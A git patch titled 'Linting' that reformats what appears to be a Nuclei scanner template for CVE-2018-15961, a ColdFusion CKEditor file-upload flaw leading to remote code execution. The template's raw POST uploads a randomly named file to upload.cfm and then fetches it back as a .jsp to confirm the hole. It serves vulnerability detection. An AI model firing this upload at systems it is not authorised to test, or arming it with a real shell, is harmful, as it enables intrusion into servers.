From 03c24bd12d8623cfd8b3fc4fd370a3c8a1cf3444 Mon Sep 17 00:00:00 2001 From: ImNightmaree Date: Wed, 10 Nov 2021 18:02:59 +0000 Subject: [PATCH] Linting --- cves/2018/CVE-2018-15961.yaml | 28 +++++++++++++--------------- 1 file changed, 13 insertions(+), 15 deletions(-) diff --git a/cves/2018/CVE-2018-15961.yaml b/cves/2018/CVE-2018-15961.yaml index 539651ca46..f36246b29d 100644 --- a/cves/2018/CVE-2018-15961.yaml +++ b/cves/2018/CVE-2018-15961.yaml @@ -3,26 +3,24 @@ info: author: SkyLark-Lab,ImNightmaree severity: critical tags: server,cve,cve2018,rce,coldfusion,fileupload + requests: - raw: - - | - POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=---------------------------24464570528145 - - -----------------------------24464570528145 - Content-Disposition: form-data; name="file"; filename="{{randstr}}" - Content-Type: image/jpeg - - %%%%%%%% - -----------------------------24464570528145 - Content-Disposition: form-data; name="path" - - {{randstr}} - -----------------------------24464570528145-- + - | + POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=---------------------------24464570528145 + -----------------------------24464570528145 + Content-Disposition: form-data; name="file"; filename="{{randstr}}" + Content-Type: image/jpeg + %%%%%%%% + -----------------------------24464570528145 + Content-Disposition: form-data; name="path" + {{randstr}} + -----------------------------24464570528145-- - method: GET path: - "{{BaseURL}}/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/{{randstr}}.jsp"